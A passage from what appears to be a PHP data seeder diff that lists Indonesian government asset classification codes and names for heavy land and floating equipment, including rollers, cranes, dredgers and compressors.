SCRAPER', + ], + [ + 'id_aset' => 409, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'TOWED SCRAPER', + ], + [ + 'id_aset' => 410, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'DUMP TRUCK', + ], + [ + 'id_aset' => 411, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'DUMP WAGON', + ], + [ + 'id_aset' => 412, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'LORI', + ], + [ + 'id_aset' => 413, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'HAULER LAINNYA', + ], + [ + 'id_aset' => 414, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'ASPHALT EQUIPMENT', + ], + [ + 'id_aset' => 415, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'ASPHALT MIXING PLANT', + ], + [ + 'id_aset' => 416, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'ASPHALT FINISHER', + ], + [ + 'id_aset' => 417, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'ASPHALT DISTRIBUTOR', + ], + [ + 'id_aset' => 418, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'ASPHALT HEATER', + ], + [ + 'id_aset' => 419, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'ASPHALT TANKER', + ], + [ + 'id_aset' => 420, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '006', + 'nama' => 'ASPHALT SPRAYER', + ], + [ + 'id_aset' => 421, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '007', + 'nama' => 'ASBUTON DRYER', + ], + [ + 'id_aset' => 422, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '008', + 'nama' => 'ASPHALT RECYCLE', + ], + [ + 'id_aset' => 423, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '009', + 'nama' => 'COLD MILLING MACHINE', + ], + [ + 'id_aset' => 424, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '010', + 'nama' => 'ASPHALT MIXER', + ], + [ + 'id_aset' => 425, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '011', + 'nama' => 'BITUMEN / ASPHALT TEST', + ], + [ + 'id_aset' => 426, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'ASPHALT EQUIPMENT LAINNYA', + ], + [ + 'id_aset' => 427, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'COMPACTING EQUIPMENT', + ], + [ + 'id_aset' => 428, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'MACADAM ROLLER/THREE WHEEL ROLLER', + ], + [ + 'id_aset' => 429, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANDEM ROLLER', + ], + [ + 'id_aset' => 430, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'MESH ROLLER', + ], + [ + 'id_aset' => 431, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '004', + 'nama' => 'VIBRATION ROLLER', + ], + [ + 'id_aset' => 432, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '005', + 'nama' => 'TYRE ROLLER', + ], + [ + 'id_aset' => 433, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '006', + 'nama' => 'SOIL STABILIZER', + ], + [ + 'id_aset' => 434, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '007', + 'nama' => 'SHEEPFOOT/TAMPING ROLLER', + ], + [ + 'id_aset' => 435, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '008', + 'nama' => 'STAMPER', + ], + [ + 'id_aset' => 436, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '009', + 'nama' => 'VIBRATION PLATE', + ], + [ + 'id_aset' => 437, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '010', + 'nama' => 'PEMADAT SAMPAH', + ], + [ + 'id_aset' => 438, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '011', + 'nama' => 'TRUCK & BUSH TYRE', + ], + [ + 'id_aset' => 439, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'COMPACTING EQUIPMENT LAINNYA', + ], + [ + 'id_aset' => 440, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '000', + 'nama' => 'AGGREGATE & CONCRETE EQUIPMENT', + ], + [ + 'id_aset' => 441, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '001', + 'nama' => 'STONE CRUSHING PLANT', + ], + [ + 'id_aset' => 442, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '002', + 'nama' => 'SCREENING CLASSIFER', + ], + [ + 'id_aset' => 443, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '003', + 'nama' => 'STONE CHUSER', + ], + [ + 'id_aset' => 444, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '004', + 'nama' => 'AGGREGATE WASHER', + ], + [ + 'id_aset' => 445, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '005', + 'nama' => 'BATCHING PLANT', + ], + [ + 'id_aset' => 446, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '006', + 'nama' => 'CONCRETE FINISHER', + ], + [ + 'id_aset' => 447, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '007', + 'nama' => 'CONCRETE PUMP', + ], + [ + 'id_aset' => 448, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '008', + 'nama' => 'CONCRETE LIFT', + ], + [ + 'id_aset' => 449, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '009', + 'nama' => 'CONCRETE PRESTRES', + ], + [ + 'id_aset' => 450, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '010', + 'nama' => 'CONCRETE CUTTER', + ], + [ + 'id_aset' => 451, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '011', + 'nama' => 'CONCRETE MIXER', + ], + [ + 'id_aset' => 452, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '012', + 'nama' => 'CONCRETE VIBRATOR', + ], + [ + 'id_aset' => 453, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '013', + 'nama' => 'CONCRETE BREAKER', + ], + [ + 'id_aset' => 454, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '014', + 'nama' => 'AGGREGATE/CHIP SPREADER', + ], + [ + 'id_aset' => 455, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '015', + 'nama' => 'GRAUTING MACHINE', + ], + [ + 'id_aset' => 456, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '016', + 'nama' => 'CONCRETE MOULD', + ], + [ + 'id_aset' => 457, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '017', + 'nama' => 'PIPE PLANT EQUIPMENT', + ], + [ + 'id_aset' => 458, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '018', + 'nama' => 'CONCRETE MIXER TANDEM', + ], + [ + 'id_aset' => 459, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '019', + 'nama' => 'ONION HEAD MACHINE', + ], + [ + 'id_aset' => 460, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '020', + 'nama' => 'PAN MIXER', + ], + [ + 'id_aset' => 461, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '021', + 'nama' => 'ASBUTON MIXER', + ], + [ + 'id_aset' => 462, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '022', + 'nama' => 'PADDLE MIXER', + ], + [ + 'id_aset' => 463, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '023', + 'nama' => 'ASPHALT BUTON CRUSHER', + ], + [ + 'id_aset' => 464, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '024', + 'nama' => 'ROCK DRILL', + ], + [ + 'id_aset' => 465, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '999', + 'nama' => 'AGGREGATE & CONCRETE EQUIPMENT LAINNYA', + ], + [ + 'id_aset' => 466, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '000', + 'nama' => 'LOADER', + ], + [ + 'id_aset' => 467, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '001', + 'nama' => 'TRACK LOADER + ATTACHMENT', + ], + [ + 'id_aset' => 468, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '002', + 'nama' => 'WHEEL LOADER + ATTACHMENT', + ], + [ + 'id_aset' => 469, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '003', + 'nama' => 'MAIN DECK LOADER', + ], + [ + 'id_aset' => 470, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '004', + 'nama' => 'CONVEYOR BELT TRUCK', + ], + [ + 'id_aset' => 471, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '005', + 'nama' => 'HIGH LIFT LOADER', + ], + [ + 'id_aset' => 472, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '006', + 'nama' => 'BACKHOE LOADER', + ], + [ + 'id_aset' => 473, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '999', + 'nama' => 'LOADER LAINNYA', + ], + [ + 'id_aset' => 474, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGANGKAT', + ], + [ + 'id_aset' => 475, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '001', + 'nama' => 'TOWER CRANE', + ], + [ + 'id_aset' => 476, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '002', + 'nama' => 'TRUCK MOUNTED CRANE', + ], + [ + 'id_aset' => 477, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '003', + 'nama' => 'TRUCK CRANE', + ], + [ + 'id_aset' => 478, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '004', + 'nama' => 'WHEEL CRANE', + ], + [ + 'id_aset' => 479, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '005', + 'nama' => 'FORKLIFT', + ], + [ + 'id_aset' => 480, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '006', + 'nama' => 'FORTAL CRANE', + ], + [ + 'id_aset' => 481, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '007', + 'nama' => 'CRAWLER CRANE', + ], + [ + 'id_aset' => 482, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '008', + 'nama' => 'CONTAINER CRANE', + ], + [ + 'id_aset' => 483, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '009', + 'nama' => 'TRANSTAINER', + ], + [ + 'id_aset' => 484, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '010', + 'nama' => 'TRAVELT CONTAINER STACKER', + ], + [ + 'id_aset' => 485, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '011', + 'nama' => 'TOP LOADER', + ], + [ + 'id_aset' => 486, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '012', + 'nama' => 'RAIL LIFTER', + ], + [ + 'id_aset' => 487, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '013', + 'nama' => 'TRACK MOTOR CAR', + ], + [ + 'id_aset' => 488, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '014', + 'nama' => 'SALVAGE PESAWAT UDARA', + ], + [ + 'id_aset' => 489, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '015', + 'nama' => 'HAND PALET TRUCK', + ], + [ + 'id_aset' => 490, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '016', + 'nama' => 'CRANE SHOVEL 20 T', + ], + [ + 'id_aset' => 491, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '017', + 'nama' => 'SHOP WOOD WORKING CRANE SHOVEL 20 T', + ], + [ + 'id_aset' => 492, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENGANGKAT LAINNYA', + ], + [ + 'id_aset' => 493, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '000', + 'nama' => 'MESIN PROSES', + ], + [ + 'id_aset' => 494, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '001', + 'nama' => 'MESIN PEMBUAT PELLET', + ], + [ + 'id_aset' => 495, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '002', + 'nama' => 'MESIN PEMBUAT ES', + ], + [ + 'id_aset' => 496, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '003', + 'nama' => 'MESIN PENGHANCUR ES', + ], + [ + 'id_aset' => 497, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '004', + 'nama' => 'WATER TREATMENT (MESIN PROSES)', + ], + [ + 'id_aset' => 498, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '005', + 'nama' => 'SEA WATER TREATMENT', + ], + [ + 'id_aset' => 499, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '006', + 'nama' => 'MESIN PENGOLAH DODOL', + ], + [ + 'id_aset' => 500, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '999', + 'nama' => 'MESIN PROSES LAINNYA', + ], + [ + 'id_aset' => 501, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BESAR DARAT LAINNYA', + ], + [ + 'id_aset' => 502, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT BESAR DARAT LAINNYA', + ], + [ + 'id_aset' => 503, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BESAR APUNG', + ], + [ + 'id_aset' => 504, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'DREDGER', + ], + [ + 'id_aset' => 505, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'SUCTION DREDGER', + ], + [ + 'id_aset' => 506, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'BUCKET DREDGER', + ], + [ + 'id_aset' => 507, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'CUTTER SUCTION DREDGER', + ], + [ + 'id_aset' => 508, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'DREDGER LAINNYA', + ], + [ + 'id_aset' => 509, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'FLOATING EXCAVATOR', + ], + [ + 'id_aset' => 510, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'FLOATING EXCAVATOR + ATTACHMENT', + ], + [ + 'id_aset' => 511, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'FLOATING CRANE', + ], + [ + 'id_aset' => 512, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'FLOATING PUMP', + ], + [ + 'id_aset' => 513, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'FLOATING EXCAVATOR LAINNYA', + ], + [ + 'id_aset' => 514, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'AMPHIBI DREDGER', + ], + [ + 'id_aset' => 515, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'PLAIN SUCTION', + ], + [ + 'id_aset' => 516, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'CUTTER (AMPHIBI DREDGER)', + ], + [ + 'id_aset' => 517, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'CLAMSHELL / DRAGLINE', + ], + [ + 'id_aset' => 518, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'AMPHIBI DREDGER LAINNYA', + ], + [ + 'id_aset' => 519, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'KAPAL TARIK', + ], + [ + 'id_aset' => 520, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'KAPAL TARIK', + ], + [ + 'id_aset' => 521, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'KAPAL TARIK LAINNYA', + ], + [ + 'id_aset' => 522, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'MESIN PROSES APUNG', + ], + [ + 'id_aset' => 523, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'WATER TREATMENT (MESIN PROSES APUNG)', + ], + [ + 'id_aset' => 524, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'MESIN PROSES APUNG LAINNYA', + ], + [ + 'id_aset' => 525, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BESAR APUNG LAINNYA', + ], + [ + 'id_aset' => 526, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT BESAR APUNG LAINNYA', + ], + [ + 'id_aset' => 527, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BANTU', + ], + [ + 'id_aset' => 528, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENARIK', + ], + [ + 'id_aset' => 529, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'ALAT PENARIK KAPAL', + ], + [ + 'id_aset' => 530, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'ALAT PENARIK JARING', + ], + [ + 'id_aset' => 531, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENARIK LAINNYA', + ], + [ + 'id_aset' => 532, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'FEEDER', + ], + [ + 'id_aset' => 533, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'ELEVATOR /LIFT', + ], + [ + 'id_aset' => 534, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'BELT CONVEYOR (FEEDER)', + ], + [ + 'id_aset' => 535, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'SCREW CONVEYOR (FEEDER)', + ], + [ + 'id_aset' => 536, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'ESCALATOR', + ], + [ + 'id_aset' => 537, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'GANDOLA', + ], + [ + 'id_aset' => 538, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'ELEVATOR (FEEDER)', + ], + [ + 'id_aset' => 539, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'GANGWAY', + ], + [ + 'id_aset' => 540, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'FEEDER LAINNYA (ALAT BESAR)', + ], + [ + 'id_aset' => 541, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'COMPRESSOR', + ], + [ + 'id_aset' => 542, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'TRANSPORTABLE COMPRESSOR', + ], + [ + 'id_aset' => 543, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'PORTABLE COMPRESSOR', + ], + [ + 'id_aset' => 544, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'STATIONARY COMPRESSOR', + ], + [ + 'id_aset' => 545, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'AIR COMPRESOR', + ], + [ + 'id_aset' => 546, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'COMPRESSOR PNEUMATIC TOOL 25 GMP', + ], + [ + 'id_aset' => 547, + 'golongan' => '3', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'COMPRESSOR LAINNYA', + ], + [ + 'id_aset' => 548, + 